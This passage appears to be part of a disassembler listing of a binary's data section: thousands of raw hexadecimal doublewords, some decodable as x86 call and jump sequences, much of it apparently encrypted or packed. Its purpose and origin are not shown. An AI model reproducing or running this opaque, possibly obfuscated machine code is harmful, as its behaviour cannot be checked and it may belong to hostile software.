5B1F966Bh dd 7C40B758h, 9A5ED52Ch, 0B27BF20Dh, 0E9B58D39h, 104819AEh dd 0CB61459Dh, 0D3A1471Fh, 16EE9A1Fh, 0A91FD3A2h, 6408BCF5h dd 817E29EDh, 0A46B4808h, 0EDBA6A12h, 0EA77EE12h, 0A1DDB561h dd 0BC701FD3h, 95A23598h, 0DFC78700h, 0C4E89022h, 80FA9F4Bh dd 0F3A715F0h, 0C0EDC161h, 0D45325F2h, 5D68310Ah, 0BE850974h dd 12000000h, 249D6245h, 98BC4364h, 0A1545206h, 0C153F708h dd 0D3A6FC21h, 8A75321Fh, 0A7584F13h, 0C6396E2Eh, 0DD6F9216h dd 287F1135h, 55017A0Fh, 15F0BA2Ch, 0DCA32B61h, 59EB1495h dd 67E48BB1h, 535BBEE4h, 33B4351Fh, 0AB22D60Fh, 259EF344h dd 8F67139Ch, 3525F318h, 0DA974ADBh, 0E9A9E27Ah, 9B143BCh dd 65A54165h, 81C14CDh, 8B1BDB54h, 6B3BFF76h, 0AA672F96h dd 48DEFA67h, 0F429h, 49B8F400h, 68970ED2h, 847D2DF1h dd 9F60490Dh, 0BF426428h, 3B42FC48h, 5B1F966Bh, 7C40B758h dd 9A5ED52Ch, 0B27BF20Dh, 0E8B58D39h, 104819AEh, 0A061459Dh dd 0BD426529h, 0DF228444h, 0A81A54Dh, 47F37C93h, 1FD3A16Fh dd 7A2A4E02h, 8C40D22Dh, 0AFD0D81Bh, 0FD05FF41h, 0C95BFF65h dd 79067D21h, 0D4962643h, 274B5449h, 0B52E63D4h, 0F5ABD909h dd 0FCE61C15h, 0EA777819h, 2DD12E79h, 0B0D42D7Dh, 7D31C377h dd 0D15ED52Ah, 0E1208848h, 0F7ED6D45h, 284C0025h, 3ED02F78h dd 762C709Eh, 479726F3h, 0AD625111h, 3559B6FDh, 66DD2285h dd 68FA05A2h, 8935F5B4h, 73762BB1h, 9628D9CDh, 5D01B5EEh dd 0D7AF5BE4h, 0F373762Bh, 13BB4DB2h, 3D7626DAh, 8A1CAED2h dd 594ED30Bh, 3C6B2FA6h, 1E8A4AC3h, 8A2ED3D7h, 7897F864h dd 0AED2AF08h, 3FD1Ch, 0A7860000h, 9A674540h, 0AC535408h dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh dd 20E1C97Dh, 34CBDA8Eh, 895386A2h, 4B951E3h, 1000000h dd 0EB8359CBh, 241C8704h, 18AC685Ch, 1C890000h, 5A806824h dd 14890000h, 68B85024h, 576F236h, 8F327791h, 48BC389h dd 4C48124h, 83000000h, 248904ECh, 24048324h, 0EC815A04h dd 4, 8F241C89h, 148B0842h, 0E1895124h, 4C181h, 0C1830000h dd 240C8704h, 241C8B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h dd 0FFFAC29Eh, 0BA6AB84Fh, 0C5030624h, 9747E0FFh, 52FC2E72h dd 0FA26852h, 97481807h, 0A1B02ACAh, 571E1020h, 4D76C02h dd 91CF7AA7h, 0A5E3275Ah, 8183258Dh, 2FCD1EE4h, 22A20026h dd 0F02F36E3h, 640259AFh, 78877D92h, 0EE8005A1h, 0C08B5F94h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 89C35646h dd 26395E75h, 840F9053h, 2, 0BD834FB3h, 61F06C1h, 83097500h dd 1F1F51BDh, 19740006h, 0C08B5350h, 3FCB8h, 65858900h dd 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h, 61F1Fh dd 53501774h, 3FCB8h, 65858900h, 8D061F0Fh, 21AC939Dh dd 5BD3FF06h, 0D8BF0F58h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 62C35545h, 722432FFh, 0C803AFF2h, 6AC08BBAh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5644C351h, 0F8DFFF65h, 0EF5BD83h, 0F01061Fh dd 4084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 17167FBDh, 61BD83A1h, 61F2Ah, 13850Fh dd 0BF0F0000h, 0F1BD83D3h, 61F20h, 87840Fh, 0DB800000h dd 3E3E997h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0AA32FC3h, 0E8A7160Fh, 0F84401Ah dd 48Ah, 61605100h, 38A0BB5Bh, 5FAFh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0BA6B78C3h, 4186210Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0A9C35646h, 0A19E14ADh, 0C88AEEBAh, 0F740DE7Fh dd 77F38D03h, 78F5D733h, 0AB7E0CBEh, 78F53956h, 0A94241BEh dd 34C27EEh, 5F8B01C2h, 78E1BAEDh, 8209A9BEh, 0FDD96438h dd 255AC607h, 1241E675h, 524400Bh, 0F5AF3907h, 5ABE0E3Bh dd 2AF539B8h, 78F5AA56h, 0BBAFF4BEh, 5CA1E3E4h, 5CB1B4BAh dd 78F582BAh, 0BBA70FBEh, 0CC43BE3Dh, 8F06D311h, 789F7941h dd 78F63CEFh, 21D56ABEh, 347C6C7Dh, 3C749E9Ah, 78E8499Ah dd 29B4A6BEh, 1BC567Dh, 116844FEh, 91D0D6EBh, 78F56AB5h dd 9F192DD7h, 2F47B849h, 911B0CBBh, 78F5A28Ah, 90A353D4h dd 78F5A9BDh, 26368A9Eh, 7CD11E37h, 7CD1713Fh, 78F59AA2h dd 69361BF8h, 3392F16Ah, 15F1B52h, 594ECFEEh, 0F9938FB7h dd 2D75057Dh, 78F53556h dd 9574C7BEh, 7ED1F02Bh, 90A5A6D4h, 78F553BDh, 2036F19Eh dd 7CD19037h, 7CD12E3Fh, 78F535A6h, 2136CAFEh, 0E7D0C480h dd 0E34E7A34h, 0F3B68709h, 787FA67Eh, 0E8F5D4BEh, 78D2E4B1h dd 761D35BEh, 6F59ABEh, 0D01E146Fh, 0DA9949F8h, 10DF45E6h dd 78F841CAh, 0BC96D4BEh, 81028EFDh, 6130B8D9h, 225B65D0h dd 894E1DE4h, 0E8FABB6Dh, 90A353D4h, 78F5A9BDh, 26368A9Eh dd 7CD11E37h, 7CD1713Fh, 78F59AA9h, 68361BF8h, 1E226CABh dd 79FA8035h, 910B8DF2h, 78F5D4B8h, 1C33E92h, 0F3ADD199h dd 0B274FC69h, 74F0B4EFh, 0F8F5A6BCh, 6B1CD561h, 1DF5A9BEh dd 0ED3DC0F9h, 8275F53Dh, 7FD4BEFCh, 0AF66AE35h, 707EBBD4h dd 78F72BB1h, 0E34253BEh, 485D13D8h, 84BD5FD8h, 0A1C0D0D8h dd 78F53406h, 111B1ABEh, 78F3A42Fh, 9778A6BEh, 0E4C54B93h dd 0E92B22EEh, 90A6D4D4h, 78F56ABDh, 23366E9Eh, 7CD1C637h dd 7CD1093Fh, 78F5A6ABh, 2F3600FDh, 1EF41BA8h, 789F0D32h dd 78F682EEh, 20D535BEh, 3C7CC27Dh, 3C74499Ah, 78E9A29Ah dd 28B553BEh, 0C502A17Dh, 9E7115D6h, 701C2433h, 0E6F535BEh dd 0F8447808h, 8E7A9C62h, 0FDFAA27Fh, 78F55321h, 403C28DEh dd 77EF3668h, 1E94A809h, 18ACE535h, 0C6AC62E9h, 17ACD19h dd 10CC26DFh, 7803D6B1h, 1D4EA9BEh, 0F3FDE4E1h, 761C6BC7h dd 2FF535BEh, 0C4F184Ch, 578E4F65h, 7C597FBh, 780AD29Dh dd 7775A9BEh, 78F51B3Ch, 29F500BEh, 78F53656h, 0BBACBABEh dd 5CB9C4E7h, 5CB127BAh, 78F54ABAh, 0BBA4E8BEh, 7BEC0413h dd 0A77E46ACh, 0C483B079h, 78F49C9Ah, 81954DBEh, 0D33C1F04h dd 0C61C3292h, 77F5A9BEh, 78F5D43Fh, 0E237EBBEh, 91E5E420h dd 78F59A3Ah, 78F0CEB1h, 0F993A6BEh, 2155F57Dh, 90A7A9D4h dd 78F5D4BDh, 2236309Eh, 7CD16137h, 7CD1DE3Fh, 78F54DA3h dd 0F36F4FCh, 0A2C2B6C9h, 299F9165h, 7F2C6E5Dh, 0FB937F5Dh dd 770A3EC7h, 78F5D93Ah, 28F527BEh, 78F5A556h, 0BBAD73BEh dd 5CB120E6h, 5CB155BAh, 78F570BAh, 0BBA575BEh, 9031308Bh dd 919D85AFh, 78F5A6B9h, 0F6AF1A3Ah, 0C3F71A3Bh, 7838881Eh dd 0C483EF79h, 78F4339Ah, 8B749ABEh, 6ECC3FA4h, 2DF5CCF6h dd 78F55056h, 0BBA889BEh, 5C995DE3h, 5CB1EBBAh, 78F52EBAh dd 0BBA0DFBEh, 1E45641h, 7687CE86h, 3E9E105h, 132710EAh dd 0FD789AFDh, 7ED1AB5Dh, 0B8B48833h, 80CE9C9Ah, 77C54ACAh dd 93B26F6Fh, 132D34Bh, 7B72A6DEh, 77F5D4BEh, 0FB94A001h dd 67FBC003h, 0FCFA9BB8h, 78F54D36h, 78E74EE8h, 0D5DC53BEh dd 74BBC12Ah, 0E1012BAAh, 1A53C77h, 9F590497h, 23AE4A35h dd 5294F03Dh, 77F5A0A1h, 78F50C3Bh, 2DF5C3BEh, 78F5D756h dd 0BBA84ABEh, 5C99BCE3h, 5CB11BBAh, 78F550BAh, 0BBA0E3BEh dd 0CECB2F1Ah, 0A586947Ch, 64F33C6h, 0FBB56710h, 67D5C403h dd 0FCFA9AB8h, 78F54D81h, 90A7A6D4h, 78F553BDh, 2236F39Eh dd 7CD18037h, 7CD12E3Fh, 78F535A3h, 4836C8FCh, 578716BDh dd 0A3D2D06Ch, 887FA689h, 78F50257h, 78F83DBEh, 41386ABEh dd 1F568FD5h, 135EBBB9h, 0FB9E7AC2h, 67FB5303h, 0FDFA52B8h dd 78F5A9F2h, 78E554B1h, 7F1D6ABEh, 82F535BEh, 5E2965D2h dd 8E758066h, 1EA8FD95h, 0BB871B05h, 91C35A3Eh, 78F5D4D6h dd 90A66AD4h, 78F535BDh, 2336C19Eh, 7CD11137h, 7CD1E23Fh dd 78F553A3h, 0B36FAFDh, 9A39AD33h, 10B20321h, 0AF4A3A55h dd 78E572E3h, 6E024DBEh, 0B40122E1h, 0D995EBB1h, 27EC1DA6h dd 9B7420DFh, 33E09EE8h, 789FFAE5h, 78F672E8h, 26D54DBEh dd 0C7CF87Dh, 3C74579Ah, 78EFAD9Ah, 2EB3D4BEh, 8482727Dh dd 890CFC4Ch, 0C4342733h, 0F5784B9Ah, 7ED1670Eh, 42A94E06h dd 0AD709AC5h, 53F3CBAEh, 13271071h, 0FD789AFDh, 7ED1AB5Dh dd 0B8B48833h, 80CE9C9Ah, 77C54ACAh, 93B26F6Fh, 0F305E983h dd 76BD83A4h, 624BCh, 8D8D0D74h, 61F4DB0h, 1B8h, 40E1FF00h dd 14E8h, 2E8BB100h, 4623C141h, 9BB23EE0h, 0D4142C8h, 5AC2D53Eh dd 5BF48AC9h, 83A3C380h, 6A2DE8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 880FDBC3h, 7, 0DA816650h dd 815A0E84h, 0C0AF82F3h, 0AE932h, 0EA700000h, 0A539AFA8h dd 42E241B1h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0BB66AAC3h, 0BD83F97Dh, 61F06C1h dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 3FCB8h dd 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h dd 61F1Fh, 53501774h, 3FCB8h, 95858900h, 8D061F13h, 21ACAC9Dh dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 66DAF601h, 0FB2BD281h, 13E9h, 26143500h dd 83157B80h, 401CB31Fh, 83824576h, 49288622h, 14E8C08Bh dd 0C000000h, 8D88BDD7h, 82657B30h, 0E5C9D663h, 6693D529h dd 8A5F95ECh, 0F535ADEh, 8158DBB7h, 5FF8C2h, 0FE900h, 0CCCF0000h dd 0E252F918h, 5937CAF5h, 8C334521h, 3FD4BF95h, 0C78103A3h dd 0FC5CD7F7h, 4ACB8166h, 6032FF4Ah, 0E080FB8Bh, 805E619Bh dd 0C68134E5h, 2A9D83B9h, 8E960h, 34520000h, 0AD830398h dd 0C580BB96h, 0F68161D8h, 53227EBAh, 30E88166h, 0F9C68144h dd 6066CFDEh, 8AD6BF0Fh, 0E85661C6h, 0Dh, 50BC0EB1h, 262E56EFh dd 2E599ACAh, 5B44B3A7h, 0BF0F028Fh, 3EA83D8h, 1C800Fh dd 13E80000h, 0F8000000h, 0B5BDB240h, 0F3413013h, 41BA7177h dd 81EFBD5h, 0D7801C05h, 0BB4A5B63h, 52E44753h, 76850F4Fh dd 0E9FFFFFFh, 98h, 94h, 5, 1, 0A28h, 2, 20h dup(0) a8S db '8!×-éÂ',0Bh,0 dd 0C6256800h, 13E90624h, 68FFFAB9h, 624C721h, 0FAB909E9h dd 0C82B68FFh, 0FFE90624h, 68FFFAB8h, 624C8B0h, 0FAB8F5E9h dd 0CA0F68FFh, 0EBE90624h, 68FFFAB8h, 624CA9Ch, 0FAB8E1E9h dd 0CD7F68FFh, 0D7E90624h, 68FFFAB8h, 624CE7Dh, 0FAB8CDE9h dd 0E51C90FFh, 4FBAA6Eh, 20E1C98Dh, 3BC4E5A9h, 5BA600C4h dd 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh, 36FA7190h, 4E178E71h dd 0DD5129D5h, 0ACE419AEh, 47F37C39h, 1FD3A16Fh, 7A2A4E02h dd 8C40D22Dh, 24CFD81Bh, 41E97B86h, 1B82F99Dh, 5400791Ch dd 15F0A93Fh, 0E68618CCh, 25F2A912h, 0EF818026h, 4966B3Bh dd 0B2A638C3h, 0F2A82E06h, 690DC125h, 6528C0Bh, 10A26D46h dd 1B2D1FE6h, 0BAFD5B1h, 6EA6CCE5h, 0A6CAEB0Ch, 74134910h dd 576409h, 7CF10000h, 0A16F47F3h, 42021FD3h, 640C9E71h dd 0EE499CC0h, 0C1E7188Fh, 0D6B44636h, 780244Ah, 7149F57Eh dd 41FD38Fh, 8FDCB450h, 0BB6F1FD3h, 0CD721E97h, 7A15F06Eh dd 0C09434C6h, 0D425F2AEh, 0EA9E30DFh, 70B143BEh, 0D634F9E5h dd 0E5B48757h, 809744Fh, 0D9h, 91624595h, 0B058EA17h, 0A1B38B37h dd 92461FD3h, 56DF5CEEh, 0D3A1D2AAh, 8DB1651Fh, 792CC9DDh dd 2CD02F7Ah, 6542F688h, 5354089Ah, 3A8535ACh, 401FD3A7h dd 0EA5C1667h, 80BD7AD8h, 6A165DCh, 271067F9h, 0D760E962h dd 0D4A1532Bh, 8232E61Fh, 1CB8DC23h, 15F1B1A3h, 0A60D8438h dd 0D783FC91h, 1C15219Fh, 7C057E32h, 1560F8D0h, 0B3D78B2Ch dd 0B4F1B13Ah, 2F77274Bh, 0F975BD2h, 19398BF2h, 2EC4FA67h dd 96F0Fh, 758C2000h, 946B3AFEh, 0B051591Dh, 0CB347539h dd 0EB169054h, 676E2874h, 874BC23Fh, 0A86CE32Ch, 0C68A0100h dd 0DEA71EE1h, 0DBE1B965h, 3C7419AEh, 0A06145C9h, 0BD426529h dd 7030B946h, 8F37C938h, 0D3A21BF3h, 0EAC26E1Fh, 7D1FD3A1h dd 0B8DC90C9h, 0ECBC7C55h, 0BE436515h, 0D60842Ch, 0EE6922Ah dd 0A11FD3A2h, 533C7EDh, 0F58187C7h, 194FD851h, 9EF52865h dd 9E3A5E4Bh, 15F036F9h, 20DA666h, 5FF1A5DEh, 0F276EBBFh dd 14D45125h, 35DD6F92h, 763810BCh, 17CB25F2h, 0D56678F3h dd 9759784h, 9D29h, 6245B600h, 0CE8E0B9Dh, 540428D7h, 7D1DAF52h dd 1FD3A732h, 19906F38h, 1BAD5255h, 0A51E73C4h, 0F0B680F9h dd 9215D515h, 5C10496Dh, 0D4B97EE5h, 234CAF5Bh, 45F91C14h dd 679A0CCCh, 2EDA63F0h, 2C146256h, 611135E9h, 0AF5B045h dd 6737FF66h, 982EFA66h, 87379h, 79882400h, 98673E02h dd 0B44D5D21h, 0CF30793Dh, 0EF129458h, 6B722C78h, 8B4FC63Bh dd 0AC70E728h, 0CA8E05FCh, 0E2AB22DDh, 0DAE5BD69h, 407819AEh dd 0A06145CDh, 0BD426529h, 8983B946h, 0B24F5BC7h, 0A7F2A58Ch dd 62452083h, 0E6BA481Bh, 4FF3D7C5h, 619E09BDh, 0E1B483EAh dd 7FA0BC68h, 873B15F5h, 0A1D6D80Eh, 0F223C462h, 0CCC55CEh dd 28D0629Dh, 0AC535404h, 385D8535h, 7FB625F7h, 5C08910Ah dd 25F73784h, 0C83F6317h, 0AD8ACEAAh, 0AC36FE8h, 9F1C1418h dd 3DE972EBh, 2C165765h, 8D2044F8h, 5D10D8EDh, 436525B7h dd 60842CBEh, 0EE672A0Dh, 0FC42BD42h, 3F6A2AB5h, 62862EC0h dd 0C9E0A029h, 81C29A36h, 0CCDEC5FEh, 0C2FBA335h, 31F16A0Eh dd 0D1638778h, 5FD8BD7Ah, 0F2184829h, 81A50C57h, 0F0F95C08h dd 0A666BC1Fh, 0A1DAFE01h, 3FEB74EDh, 0CC202F67h, 0A92246FAh dd 0CA41BEE9h, 0F75EA106h, 5A6A2A39h, 6967861Ch, 1A000007h dd 34F86F92h, 53178E71h, 6F33AA57h, 8A4EC53Ah, 226EE51Ch dd 0C0416568h, 0E12E8549h, 0FF02A66Ah, 1CE3C488h, 0B763DCA5h dd 19AED9DFh, 7CC73A72h, 0E6BE6AF3h, 791FD3A1h, 0A15129C5h dd 24E41FD3h, 0B8DC808Fh, 46BFD265h, 0A13911BDh, 18CC1FD3h dd 0B3CF7BF4h, 4E15F666h, 9AEB219Ah, 0DF1DD8A0h, 79027B9Fh dd 36C44F0h, 4BFF25F8h, 0D12E7727h, 0F00F965Ah, 2FDAA5Eh dd 2C60F9Bh, 120B6F0h, 6E4h, 73EA1795h, 9209F6AFh, 0AE25DCCEh dd 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h, 8D1BDF56h dd 6E39FD74h, 0D8511A91h, 0AED9542Ch, 3CAFE719h, 14EBBC7Ch dd 0F79A9DF0h, 40ECBE7Eh, 0D3A1BC94h, 0F79B4F1Fh, 2099BD65h dd 0F6665874h, 0C63FF315h, 0E75EA106h, 0F1109A5Ah, 9F07B75Fh dd 4AEB3E62h, 3E22CE47h, 0E925F865h, 0E1858A29h, 65DAAF4Fh dd 0C3F025F8h, 0A006BA4Ch, 0BE3DCF61h, 0F8D68B20h, 0C6003454h dd 9945C422h, 4FF8D7A2h, 0E18D1609h, 25F86A09h, 0F9277DAFh dd 0A0D99903h, 262FC8ECh, 0BC000000h, 85FE93A2h, 0D3A1FDD9h dd 52E4981Fh, 0D3A1DEB2h, 19C5441Fh, 94B85722h, 776F0h dd 0DA030000h, 1D5h, 4B7FEB63h, 0F40D9DECh, 0B8183862h dd 0C0923AE0h, 53FF781Ch, 15F0609Ah, 0E2BA66EFh, 0FE25F2A0h dd 20C85AB5h, 0D60F33E7h, 6673A922h, 11C8F4C6h, 0B256A9FEh dd 0BE7EFB8Eh, 0DE8618E7h, 30B41EBAh, 2FEF559Ah, 0AAED0578h dd 0EFA0E8Dh, 44F3466Ah, 0A72CD851h, 14CBB8DAh, 1CAE5154h dd 63175074h, 0D8BD7AD1h, 9016D65Fh, 4EB14D71h, 0FBD1DD54h dd 990ECE47h, 11B54C5Ah, 59D1D69Ah, 0DD93D5ADh, 8EB468E1h dd 0F5D44150h, 0FC6307C4h, 342FEC52h, 8558770Dh, 36000005h dd 50148B76h, 6F33AA55h, 8B4FC63Bh, 0A66AE11Eh, 3E8A0100h dd 0DC258184h, 0FD12A165h, 1BE6C286h, 38C7E0A4h, 0D37FF8C1h dd 19AED7FBh, 7CE3568Eh, 8214EBBCh, 0A1815905h, 60141FD3h dd 649B0CBCh, 66179040h, 63B95EBDh, 43D579BCh, 0CD464BECh dd 0F0361021h, 68E19515h, 6CFE01A8h, 9C29A0C4h, 348F6713h dd 992225F2h, 0F23515EDh, 50F4A825h, 6AFC13A0h, 0B9EE9EC2h dd 23276C4h, 3BDFDF11h, 38C660D4h, 2645DBF0h, 4F8h, 87FE03A9h dd 0A61DE2C3h, 0C239C8E2h, 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h dd 0A50ED249h, 792FF36Ah, 5A4D1188h, 0EC652EA5h, 0AED76840h dd 50C3FB19h, 0B9D6245h, 1DAF5057h, 61C01E99h, 6038E446h dd 0F31FD3A1h, 7A249B3Fh, 0F094B83Fh, 1F3EB8EEh, 3F2821BAh dd 27821Bh, 0A20F0000h, 0DB870095h, 15F0B6FAh, 0DC59EB9Fh dd 0E2748B1Ch, 0A67A163Ah, 0C25F2B6h, 0AFEA518Dh, 3E097457h dd 31h, 0EABC7CCBh, 97A0F317h, 89CD79F2h, 3415F0F0h, 5E470780h dd 0A57A2AA1h, 0BB25F2EFh, 0D89C13ECh, 0D9B15DCDh, 6C25F2EFh dd 638214B8h, 448h, 33467CECh, 936C3D17h, 0C99C0B6Dh, 0B0E552A5h dd 0B8EEAE37h, 7C892549h, 0F915EFD4h, 0A8FFB345h, 2A65B4Bh dd 7D76670h, 54CDC077h, 0EE29BA8h, 4D58181Ch, 0D47820B2h dd 0F10E995Dh, 5A2F085Fh, 778821E1h, 452EDA53h, 7A222DF2h dd 0EE12EDBAh, 0DD6F01B5h, 4FD8805Eh, 2FF1CBA3h, 0E285E32h dd 96DBAA02h, 50FC7519h, 32300978h, 8333570Bh, 0A262DB24h dd 4DB4F211h, 446317A9h, 0DD8129BBh, 0F3857A2Dh, 49B0274Bh dd 76229BEEh, 284D22EDh, 681CAE62h, 0BE47C03Fh, 0B955ACFEh dd 384F22E1h, 0A9CC074h, 99E5F978h, 0E972EB9Eh, 36738029h dd 0EB9325C9h, 3BA22BC7h, 57172E6Ch, 0F31DAF50h, 0FBEECC60h dd 0B95D01F3h, 802CB542h, 3E6DD6A8h, 0D32C7B3Bh, 0D1F59941h dd 0E7798621h, 0FC8E7333h, 0FA16048h, 25B7585Bh, 9A8757E6h dd 0BA62F40Bh, 5D811016h, 0A31CE3C4h, 0AD3FD0E3h, 36AE105h dd 5FE86134h, 0B6CC0429h, 0FEAA7779h, 3E6E6C26h, 3D6105B9h dd 8B7CB8A1h dd 0E7792D34h, 0F98B7433h, 88F6E867h, 0B561DAAFh, 3AAA8DCCh dd 0F4CC7801h, 874AAC8Dh, 0C276AFD3h, 0DF20874Bh, 0F10E994Dh dd 7124137Ah, 95374CF8h, 8EC440C9h, 0ED2352A7h, 0EE670BD3h dd 0C3AC8DB8h, 76F319E6h, 606086EEh, 3E63086Dh, 43E37599h dd 50CAA26Fh, 0B38856D5h, 3F9C47E6h, 2007h, 95A29400h dd 36DB8700h, 0E315F081h, 29FD9D2Fh, 8F25F2C2h, 2C6DCE10h dd 0C109745Ch, 0E2h, 47F37C4Eh, 1FD3A16Fh, 7A2A4E02h, 0C340D22Dh dd 355BA403h, 902D25ADh, 0B0D430h, 15C95BA6h, 34F46D92h dd 51F98B76h, 0C0E79B2Dh, 0CD18C83Fh, 0D31FD32Ch, 0F0B42BD4h dd 5FB648B7h, 2CFEA9D8h, 0D32BA880h, 0E3873B1Fh, 8C05A951h dd 0F040B7E0h, 1782C15h, 7FF89D9Ah, 13AFF8D3h, 0CCC551Ch dd 0F4CC68A7h, 102C13EFh, 2CD46699h, 178F3FF3h, 8CB058EAh dd 0F0269F53h, 0FAAE9330h, 0F786E107h, 0D1307626h, 0FA73973Fh dd 1E956C3Ah, 4EB54C5Ah, 0FA66EF38h, 1596B54Bh, 0C6000002h dd 0E0A41BE6h, 0FFC33AC5h, 1BDF56ABh, 36FA718Eh, 0CE1A9170h dd 6C951114h, 8D8231F5h, 0AB565216h, 0C8377034h, 630F8851h dd 19AED48Bh, 4573E61Eh, 6529A061h, 8444BD42h, 0A048DA25h dd 0B878057Ch, 0D88012EDh, 95A251B4h, 36DB8700h, 0E315F081h dd 0CB7B8423h, 0EB7D21DEh, 0F2C1774Bh, 805EDD25h, 719018D8h dd 7D1337DFh, 9745C3Ch, 0E2D1h, 62455E00h, 4F570B9Dh, 6BFD04A6h dd 0ED8D1FC3h, 1FD3A7A2h, 8700FFA8h, 0A67A52FEh, 840D1FD3h dd 0D3A700D8h, 3BDF931Fh, 8A13A017h, 0D3A706DEh, 0D5AD591Fh dd 681FD3A6h, 0A3C77BB4h, 0B94BB4F3h, 2F07B33Ch, 0C21FD3A6h dd 0A097EA0Eh, 9FC874EDh, 1415F0BBh, 265CE960h, 0C5E57E51h dd 80D3F7EEh, 0D059D2B7h, 0F3C39B47h, 0A25625F2h, 61A2E27Eh dd 85451C14h, 0A74FE12Eh, 0DCCA8A03h, 0BCEAAE25h, 5952DE45h dd 3BD1FA66h, 1171Ch, 1DE4C800h, 3CC3E2A6h, 58A901C5h dd 738C1DE1h, 936E38FCh, 0F16D01Ch, 2FF36A97h, 50148B84h dd 6E32A958h, 864FC639h, 0D389610Dh, 0E41C19AEh, 0CB614571h dd 0D3A1471Fh, 0A551DA1Fh, 1FD3A1CDh, 5808AC60h, 970EB24Dh dd 0FDD5810Ah, 901FD3A1h, 9F08B8DCh, 4572E960h, 570B9D62h dd 0AB38AF50h, 1E42BFEBh, 0B0296CCBh, 2448B7F0h, 678FFFABh dd 5E1215F6h, 7D8225E5h, 9413C759h, 7730F46Bh, 564F0F88h dd 0F66F17A9h, 0F866724Ah, 2D510525h, 19B3FB9Bh, 4AF394Ch dd 6C4F790Bh, 3D4EEA60h, 32CDDC8Ch, 4F8F0EA0h, 0A1855D09h dd 641851ECh, 0B32BBAC0h, 3CC5E5A5h, 2EDE02AAh, 2C7A79h dd 0ECA17C54h, 0B75B0F51h, 60D97D25h, 307FB42Ah, 72380D06h dd 0B155FD8Fh, 5552168Dh, 456418AAh, 6206F9AEh, 1FBF3ED0h dd 0E35AA502h, 0A1F5881Fh, 0ACD6B1DEh, 63E07216h, 748B1ADAh dd 0EC9200D8h, 3E5DA651h, 0F1E3EBD9h, 0C5E004B8h, 8, 0CF327838h dd 40A748ABh, 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h dd 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh dd 0E6895686h, 4C681h, 0EE830000h, 24348704h, 6824248Bh dd 2C7Bh, 68241C89h, 6B97h, 68243489h, 624C4B5h, 83241C8Bh dd 0D56804C4h, 89000075h, 4832424h, 815E0424h, 4ECh, 241C8900h dd 8B08468Fh, 89562434h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 2434FF5Ch, 4C4835Bh, 0FAAD61E9h, 0B1AB5FFh, 0B8FABB88h dd 624CFB9h, 0E0FFC503h, 17E37304h, 318E227h, 18B187C9h dd 327CF004h, 3E8A39FCh, 220764C9h, 66076793h, 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 24D04EB5h, 0F5858B06h, 8B061F0Eh dd 1F2D1585h, 98B58D06h, 8D0624D0h, 224BA885h, 0C3D0FF06h dd 0E855h, 815D0000h, 24D09EEDh, 0F5BD8306h, 1061F0Eh dd 2C850Fh, 0B5FF0000h, 624D04Eh, 2D15858Bh, 3635061Fh dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h dd 40E9C0h, 1C6A0000h, 0D052B58Dh, 0FF560624h, 24D04EB5h dd 15858B06h, 35061F2Dh, 34812736h, 0C483D0FFh, 52B58D0Ch dd 8B0624D0h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h dd 5E9h, 1B800h, 0BD830000h, 61F0EF5h, 7850F01h, 5D000000h dd 2E9C3h, 0CF5D0000h, 0D077858Dh, 85890624h, 61F0F51h dd 0D22C8D8Dh, 9D310624h, 61F1081h, 0B5D8D89h, 6A061Fh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 895173C3h, 1F0729B5h, 8B665B06h, 0C585C7FAh, 0E0061F20h dd 0F00005Bh, 1581h, 0FE800h, 0CA6E0000h, 877283D2h, 0D792A7B0h dd 3AE90633h, 0E9605EDBh, 5, 63BA2B90h, 0F98B664Eh, 7D85C761h dd 61F13h, 60000000h, 329D8589h, 8952061Fh, 1F108D8Dh dd 89615A06h, 1F1B058Dh, 0CDB5FF06h, 6A061F1Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0B1C6C350h, 2D5995FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0EEB9D7C3h, 5325150Dh dd 0BD293C19h, 61F24D1h, 0E4C08166h, 0FF006AB7h, 1F1D4595h dd 0EBC08B06h, 495B503Dh, 631A1D67h, 0E0F697EEh, 226ACBCEh dd 7E6B9DE7h, 0A7308903h, 34DFE812h, 934C9F7h, 7BB38C31h dd 236C5E9Eh, 5A4ADC03h, 0B5A67541h, 51FFD74Eh, 635000BEh dd 0A767039Ch, 0EE8E563h, 0E9000000h, 741861DBh, 0F89A0361h dd 0D1BF7F5Ch, 159D8928h, 5B061F2Bh, 3179B529h, 0C381061Fh dd 5CC5h, 0F62BCF8Bh, 333C8BF8h, 0F7819AB1h, 7A0F2D3Ah dd 48A0Fh, 0B9660000h, 0C78185D6h, 88259FEh, 18C58D8Bh dd 0F781061Fh, 1A486112h, 0E98157FCh, 65798893h, 8B33048Fh dd 1F20E18Dh, 9958906h, 83061F2Bh, 